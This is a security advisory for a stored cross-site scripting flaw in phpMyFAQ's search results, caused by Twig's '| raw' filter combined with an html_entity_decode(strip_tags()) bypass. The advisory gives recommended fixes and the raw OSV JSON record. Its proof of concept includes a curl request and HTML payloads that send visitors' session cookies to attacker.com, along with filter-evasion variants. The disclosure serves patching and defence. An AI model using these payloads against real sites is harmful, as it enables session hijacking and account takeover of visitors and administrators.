返回公告列表GHSA-PQH6-8FXF-JX22 中危已审查
phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 08:02
GitHub 审查时间
2026-05-07 04:31
源文件
advisories/github-reviewed/2026/05/GHSA-pqh6-8fxf-jx22/GHSA-pqh6-8fxf-jx22.json
Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
Affected Files
File Location Issue phpmyfaq/assets/templates/default/search.twiglines rendering result.question, result.answerPreview (Vertical Bar) raw disables autoescapephpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.phpsearch result processing loop html_entity_decode(strip_tags(...)) restores encoded payloadsphpmyfaq/src/phpMyFAQ/Search.phplogSearchTerm()No HTML sanitization on stored search term (secondary, preventive)
Details
Vulnerability A (Primary): search.twig — | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both and are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
result.question
result.answerPreview
Seven (7) instances of | raw exist in search.twig:
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.
Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags() → no change (no real tags detected)
→ <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output → executes in browser
Attack Chain Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
Retrieves the record from the database
Applies strip_tags() → entity-encoded payload passes through
Applies html_entity_decode() → raw <svg onload=...> is restored
Passes the value to search.twig as result.answerPreview
Template renders with | raw → XSS executes
Session cookie exfiltration → full account takeover
Administrator session hijacking (admin visiting search page)
Persistent attack: payload fires for every visitor until manually removed
Potential for worm propagation via auto-created FAQ entries
PoC Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=<editor_session>' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "searchable-keyword",
"author": "attacker",
"email": "[email protected] "
}
}'
Step 2 — Trigger XSS as victim:
https://target.example.com/search.html?search=searchable-keyword
The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
<details open ontoggle=alert(document.cookie)>
<iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;">
Impact
Confidentiality : Session cookie exfiltration and credential theft
via JavaScript execution in victim's browser context.
Integrity : DOM manipulation, phishing overlay injection.
Scope : Attack crosses from contributor privilege context
to all site visitors, including administrators.
Recommended Fix
Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig - <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>
If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.
Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php - $data->answer = html_entity_decode(
- strip_tags((string) $data->answer),
- ENT_COMPAT,
- encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
$data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);
Fix 3 (Recommended) — Audit all | raw usages in search.twig The following additional | raw instances should be reviewed and sanitized:
{{ searchTags | raw }} → apply HTML Purifier or remove | raw
{{ relatedTags | raw }} → apply HTML Purifier or remove | raw
{{ pagination | raw }} → safe only if generated entirely server-side with no user input
Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm() $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+ $this->configuration->getDb()->escape($searchTerm),
+ ENT_QUOTES | ENT_HTML5,
+ 'UTF-8'
+ )
Packagist
phpmyfaq/phpmyfaq Packagist
thorsten/phpmyfaq CVSS_V3 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
原始 OSV JSON{
"id": "GHSA-pqh6-8fxf-jx22",
"aliases": [
"CVE-2026-46361"
],
"details": "## Summary\n\nThe search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig's `| raw` filter, which completely disables the template engine's built-in auto-escaping.\n\nA user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags — bypassing `strip_tags()` — and the restored payload is injected into every visitor's browser via the `| raw` output.\n\nThis vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.\n\n---\n\n## Affected Files\n\n| File | Location | Issue |\n|---|---|---|\n| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape |\n| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |\n| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |\n\n---\n\n## Details\n\n### Vulnerability A (Primary): `search.twig` — `| raw` Disables Autoescape\n\n**File:** `phpmyfaq/assets/templates/default/search.twig`\n\n```twig\n<a title=\"Test\" href=\"{{ result.url }}\">{{ result.question | raw }}</a>\n<small class=\"small\">{{ result.answerPreview | raw }}...</small>\n```\n\nTwig's autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.\n\nSeven (7) instances of `| raw` exist in `search.twig`:\n\n```twig\n{{ result.renderedScore | raw }}\n{{ result.question | raw }}\n{{ result.answerPreview | raw }}\n{{ searchTags | raw }}\n{{ relatedTags | raw }}\n{{ pagination | raw }}\n{{ 'help_search' | translate | raw }}\n```\n\nEach of these constitutes an independent XSS surface if its data source is compromised.\n\n---\n\n### Vulnerability B (Amplifier): `SearchController.php` — `html_entity_decode(strip_tags())` Bypass\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`\n\n```php\n$data->answer = html_entity_decode(\n strip_tags((string) $data->answer),\n ENT_COMPAT,\n encoding: 'utf-8'\n);\n```\n\nThis pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.\n\n**Bypass walkthrough:**\n```text\nStored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\nstrip_tags() → no change (no real tags detected)\n → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\nhtml_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>\n| raw output → executes in browser\n```\n---\n\n## Attack Chain\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Payload injection**\n\nAttacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:\n```html\n<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>\n<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>\n```\n**Step 2 — Persistence**\n\nThe payload is stored in the DB without HTML sanitization at the storage layer.\n\n**Step 3 — Victim triggers the XSS**\n\nAny user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:\n\n1. Retrieves the record from the database\n2. Applies `strip_tags()` → entity-encoded payload passes through\n3. Applies `html_entity_decode()` → raw `<svg onload=...>` is restored\n4. Passes the value to `search.twig` as `result.answerPreview`\n5. Template renders with `| raw` → XSS executes\n\n**Step 4 — Impact**\n\n- Session cookie exfiltration → full account takeover\n- Administrator session hijacking (admin visiting search page)\n- Persistent attack: payload fires for every visitor until manually removed\n- Potential for worm propagation via auto-created FAQ entries\n\n---\n\n## PoC\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 — Inject payload via FAQ editor:**\n\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n -H 'Content-Type: application/json' \\\n -H 'Cookie: PHPSESSID=<editor_session>' \\\n -d '{\n \"data\": {\n \"pmf-csrf-token\": \"<valid_csrf_token>\",\n \"question\": \"<svg onload=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)>\",\n \"answer\": \"<img src=x onerror=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)>\",\n \"lang\": \"en\",\n \"categories[]\": 1,\n \"active\": \"yes\",\n \"tags\": \"test\",\n \"keywords\": \"searchable-keyword\",\n \"author\": \"attacker\",\n \"email\": \"[email protected] \"\n }\n }'\n```\n\n**Step 2 — Trigger XSS as victim:**\n```\nhttps://target.example.com/search.html?search=searchable-keyword\n```\nThe search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie.\n\n**Alternative payloads (for WAF bypass):**\n\n```html\n<details open ontoggle=alert(document.cookie)>\n<iframe srcdoc=\"&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;\">\n```\n\n---\n\n## Impact\n\n- **Confidentiality :** Session cookie exfiltration and credential theft\n via JavaScript execution in victim's browser context.\n- **Integrity :** DOM manipulation, phishing overlay injection.\n- **Scope :** Attack crosses from contributor privilege context\n to all site visitors, including administrators.\n\n---\n\n## Recommended Fix\n\n### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig`\n\n```diff\n- <a href=\"{{ result.url }}\">{{ result.question | raw }}</a>\n- <small>{{ result.answerPreview | raw }}...</small>\n+ <a href=\"{{ result.url }}\">{{ result.question }}</a>\n+ <small>{{ result.answerPreview }}...</small>\n```\n\nIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.\n\n### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php`\n\n```diff\n- $data->answer = html_entity_decode(\n- strip_tags((string) $data->answer),\n- ENT_COMPAT,\n- encoding: 'utf-8'\n- );\n+ $data->answer = strip_tags((string) $data->answer);\n $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);\n```\n\n### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig`\n\nThe following additional `| raw` instances should be reviewed and sanitized:\n\n```twig\n{{ searchTags | raw }} → apply HTML Purifier or remove | raw\n{{ relatedTags | raw }} → apply HTML Purifier or remove | raw\n{{ pagination | raw }} → safe only if generated entirely server-side with no user input\n```\n\n### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()`\n\n```diff\n $this->configuration->getDb()->escape($searchTerm)\n+ htmlspecialchars(\n+ $this->configuration->getDb()->escape($searchTerm),\n+ ENT_QUOTES | ENT_HTML5,\n+ 'UTF-8'\n+ )\n```\n\n---",
"summary": "phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
]
}
],
"package": {
"name": "phpmyfaq/phpmyfaq",
"ecosystem": "Packagist"
},
"database_specific": {
"last_known_affected_version_range": "<= 4.1.1"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
]
}
],
"package": {
"name": "thorsten/phpmyfaq",
"ecosystem": "Packagist"
},
"database_specific": {
"last_known_affected_version_range": "<= 4.1.1"
}
}
],
"modified": "2026-06-09T00:02:59Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"
}
],
"published": "2026-05-06T20:31:54Z",
"references": [
{
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22",
"type": "WEB"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46361",
"type": "ADVISORY"
},
{
"url": "https://github.com/thorsten/phpMyFAQ",
"type": "PACKAGE"
},
{
"url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-cross-site-scripting-via-raw-filter-in-search-twig",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-05-06T20:31:54Z"
}
}